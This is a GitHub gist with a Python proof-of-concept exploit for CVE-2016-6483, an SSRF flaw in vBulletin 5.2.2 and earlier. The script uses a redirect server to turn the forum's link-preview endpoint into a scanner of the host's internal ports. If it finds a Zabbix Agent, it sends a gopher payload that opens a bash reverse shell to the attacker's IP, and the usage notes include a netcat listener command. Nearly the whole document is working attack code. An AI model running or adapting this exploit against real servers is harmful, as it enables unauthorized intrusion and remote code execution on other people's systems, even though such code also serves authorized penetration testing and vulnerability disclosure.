Created
November 17, 2016 12:52
-
-
Save random-robbie/49a8e791287f5cdcc4d078231d4cd686 to your computer and use it in GitHub Desktop.
CVE-2016-6483
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
intro = """ | |
vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE) | |
This PoC exploits an SSRF vulnerability in vBulletin to scan internal services | |
installed on the web server that is hosting the vBulletin forum. | |
After the scan, the exploit also checks for a Zabbix Agent (10050) port and | |
gives an option to execute a reverse shell (Remote Commands) that will connect | |
back to the attacker's host on port 8080 by default. | |
Coded by: | |
Dawid Golunski | |
http://legalhackers.com | |
""" | |
usage = """ | |
Usage: | |
The exploit requires that you have an external IP and can start a listener on port 80/443 | |
on the attacking machine. | |
./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port] | |
Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85 | |
on the remote vBulletin target host: | |
./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85 | |
Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell e.g: | |
nc -vv -l -p 8080 | |
Disclaimer: | |
For testing purposes only. Do no harm. | |
SSL/TLS support needs some tuning. For better results, provide HTTP URL to the vBulletin target. | |
""" | |
import web # http://webpy.org/installation | |
import threading | |
import time | |
import urllib | |
import urllib2 | |
import socket | |
import ssl | |
import sys | |
# The listener that will send redirects to the targe | |
class RedirectServer(threading.Thread): | |
def run (self): | |
urls = ('/([0-9a-z_]+)', 'do_local_redir') | |
app = web.application(urls, globals()) | |
#app.run() | |
return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', our_port)) | |
class do_local_redir: | |
def GET(self,whereto): | |
if whereto == "zabbixcmd_redir": | |
# code exec | |
# redirect to gopher://localhost:10050/1system.run[(/bin/bash -c 'nohup bash -i >/dev/tcp/our_ip/shell_port 0<&1 2>&1 &') ; sleep 2s] | |
return web.HTTPError('301', {'Location': 'gopher://localhost:10050/1system.run%5b(%2Fbin%2Fbash%20-c%20%27nohup%20bash%20-i%20%3E%2Fdev%2Ftcp%2F'+our_ext_ip+'%2F'+str(shell_port)+'%200%3C%261%202%3E%261%20%26%27) %20%3B%20sleep%202s%5d' } ) | |
else: | |
# internal port connection | |
return web.HTTPError('301', {'Location': "telnet://localhost:%s/" % whereto} ) | |
def shutdown(code): | |
print "\nJob done. Exiting" | |
if redirector_started == 1: | |
web.httpserver.server.interrupt = KeyboardInterrupt() | |
exit(code) | |
# [ Default settings ] | |
# reverse shell will connect back to port defined below | |
shell_port = 8080 | |
# Our HTTP redirector/server port (must be 80 or 443 for vBulletin to accept it) | |
our_port = 443 | |
# How long to wait (seconds) before considering a port to be opened. | |
# Don't set it too high to avoid service timeout and an incorrect close state | |
connect_time = 2 | |
# Default port scan range is limited to 20-90 to speed up things when testing, | |
# feel free to increase maxport to 65535 here or on the command line if you've | |
# got the time ;) | |
minport = 20 | |
maxport = 90 | |
# ignore invalid certs (enable if target forum is HTTPS) | |
#ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) | |
# [ Main Meat ] | |
print intro | |
redirector_started = 0 | |
if len(sys.argv) < 3 : | |
print usage | |
sys.exit(2) | |
# Set our HTTP Listener/Redirector's external IP | |
our_ext_ip = sys.argv[1] | |
try: | |
socket.inet_aton(our_ext_ip) | |
except socket.error: | |
print "Invalid HTTP redirector server IP [%s]!\n" % our_ext_ip | |
exit(2) | |
our_server = "http://%s:%s" % (our_ext_ip, our_port) | |
# Target forum base URL (e.g. http://vulnerable-vbulletin/forum) | |
targetforum = sys.argv[2] | |
# Append vulnerable media upload script path to the base URL | |
targeturl = targetforum.strip('/') + "/link/getlinkdata" | |
# Change port range (if provided) | |
if (len(sys.argv) == 5) : | |
minport = int(sys.argv[3]) | |
# Finish scanning at maxport | |
maxport = int(sys.argv[4]) | |
# Confirm data | |
print "\n* Confirm your settings\n" | |
print "Redirect server to listen on: %s:%s\nTarget vBulletin URL: %s\nScan ports between: %d - %d\n" % (our_ext_ip, our_port, targeturl, minport, maxport) | |
key = raw_input("Are these settings correct? Hit enter to start the port scan... ") | |
# Connection check | |
print "\n* Testing connection to vulnerable script at [%s]\n" % targeturl | |
req = urllib2.Request(targeturl, data=' ', headers={ 'User-Agent': 'Mozilla/5.0' } ) | |
try: | |
response = urllib2.urlopen(req, timeout=connect_time).read() | |
except urllib2.URLError as e: | |
print "Invalid forum URI / HTTP request failed (reason: %s)\n" % e.reason | |
shutdown(2) | |
# Server should return 'invalid_url' string if not url provided in POST | |
if "invalid_url" not in response: | |
print """Invalid target url (%s) or restricted access.\n | |
\nTest with:\n curl -X POST -v %s\nShutting down\n""" % (targeturl, targeturl) | |
sys.exit(2) | |
else: | |
print "Got the right response from the URL. The target looks vulnerable!\n" | |
# [ Start the listener and perform a port scan ] | |
print "Let's begin!\n" | |
print "* Starting our redirect base server on %s:%s \n" % (our_ext_ip, our_port) | |
RedirectServer().start() | |
redirector_started = 1 | |
print "* Scanning local ports from %d to %d on [%s] target \n" % (minport, maxport, targetforum) | |
start = time.time() | |
opened_ports = [] | |
maxport+=1 | |
for targetport in range(minport, maxport): | |
#print "\n\nScanning port %d\n" % (targetport) | |
fetchurl = '%s/%d' % (our_server, targetport) | |
data = urllib.urlencode({'url' : fetchurl}) | |
req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) | |
try: | |
response = urllib2.urlopen(req, timeout=connect_time) | |
except urllib2.URLError, e: | |
print "Oops, url issue? 403 , 404 etc.\n" | |
except socket.timeout, ssl.SSLError: | |
print "Conection opened for %d seconds. Port %d is opened!\n" % (connect_time, targetport) | |
opened_ports.append(targetport) | |
elapsed = (time.time() - start) | |
print "\nScanning done in %d seconds. \n\n* Opened ports on the target [%s]: \n" % (elapsed, targetforum) | |
for listening in opened_ports: | |
print "Port %d : Opened\n" % listening | |
print "\nAnything juicy? :)\n" | |
if 10050 in opened_ports: | |
print "* Zabbix Agent was found on port 10050 !\n" | |
# [ Command execution via Zabbix Agent to gain a reverse shell ] | |
key = raw_input("Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] ") | |
if key != 'y' : | |
shutdown(0) | |
print "\n* Executing reverse shell via Zabbix Agent (10050)." | |
fetchurl = '%s/%s' % (our_server, 'zabbixcmd_redir') | |
data = urllib.urlencode({'url' : fetchurl}) | |
req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) | |
payload_executed = 0 | |
try: | |
response = urllib2.urlopen(req, timeout=connect_time) | |
except urllib2.URLError, e: | |
print "Oops, url issue? 403 , 404 etc.\n" | |
except socket.timeout, ssl.SSLError: | |
# Agent connection remained opened for 2 seconds after the bash payload was sent, | |
# it looks like the sleep 2s shell command must have got executed sucessfuly | |
payload_executed = 1 | |
if (payload_executed == 1) : | |
print "\nLooks like Zabbix Agent executed our bash payload! Check your netcat listening on port %d for shell! :)\n" % shell_port | |
else: | |
print "\nNo luck. No Zabbix Agent listening on 10050 port or remote commands are disabled :(\n" | |
shutdown(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment